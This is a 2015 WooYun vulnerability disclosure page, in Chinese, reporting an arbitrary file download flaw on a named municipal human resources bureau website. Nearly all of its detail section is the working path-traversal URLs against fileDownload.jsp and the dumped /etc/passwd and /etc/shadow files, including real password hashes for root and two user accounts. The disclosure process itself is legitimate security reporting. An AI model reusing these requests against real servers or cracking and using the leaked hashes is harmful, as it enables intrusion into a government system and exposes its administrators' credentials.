当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131617

漏洞标题:某市人力资源和社会保障局存在任意文件下载漏洞(可读取shadow密码)

相关厂商:大庆市人力资源和社会保障局

漏洞作者: 路人甲

提交时间:2015-08-05 15:48

修复时间:2015-09-21 13:46

公开时间:2015-09-21 13:46

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-05: 细节已通知厂商并且等待厂商处理中
2015-08-07: 厂商已经确认,细节仅向厂商公开
2015-08-17: 细节向核心白帽子及相关领域专家公开
2015-08-27: 细节向普通白帽子公开
2015-09-06: 细节向实习白帽子公开
2015-09-21: 细节向公众公开

简要描述:

rt

详细说明:

http://www.dqhr.gov.cn/fileDownload.jsp?fileName=../../../../../etc/passwd
http://www.dqhr.gov.cn/fileDownload.jsp?fileName=../../../../../etc/shadow
passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
flnian:x:500:500::/home/flnian:/bin/bash
panwq0459:x:501:501::/home/panwq0459:/bin/bash


shadow

root:$1$9WJ2e.NR$O9Ez1dcIuwhUVaWSkR7aG1:16052:0:99999:7:::
bin:*:16052:0:99999:7:::
daemon:*:16052:0:99999:7:::
adm:*:16052:0:99999:7:::
lp:*:16052:0:99999:7:::
sync:*:16052:0:99999:7:::
shutdown:*:16052:0:99999:7:::
halt:*:16052:0:99999:7:::
mail:*:16052:0:99999:7:::
news:*:16052:0:99999:7:::
uucp:*:16052:0:99999:7:::
operator:*:16052:0:99999:7:::
games:*:16052:0:99999:7:::
gopher:*:16052:0:99999:7:::
ftp:*:16052:0:99999:7:::
nobody:*:16052:0:99999:7:::
rpc:!!:16052:0:99999:7:::
mailnull:!!:16052:0:99999:7:::
smmsp:!!:16052:0:99999:7:::
apache:!!:16052:0:99999:7:::
nscd:!!:16052:0:99999:7:::
vcsa:!!:16052:0:99999:7:::
rpcuser:!!:16052:0:99999:7:::
nfsnobody:!!:16052:0:99999:7:::
sshd:!!:16052:0:99999:7:::
mysql:!!:16052:0:99999:7:::
pcap:!!:16052:0:99999:7:::
ntp:!!:16052:0:99999:7:::
dbus:!!:16052:0:99999:7:::
haldaemon:!!:16052:0:99999:7:::
avahi:!!:16052:0:99999:7:::
hsqldb:!!:16052:0:99999:7:::
avahi-autoipd:!!:16052:0:99999:7:::
xfs:!!:16052:0:99999:7:::
gdm:!!:16052:0:99999:7:::
sabayon:!!:16052:0:99999:7:::
flnian:$1$Rp/6vsOE$Z3U9oGAcvJaf//gUr53um0:16052:0:99999:7:::
panwq0459:$1$39fCzuJm$tHwf43rtPlw21EN/EglNM0:16056:0:99999:7:::


漏洞证明:

如上

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-08-07 13:45

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无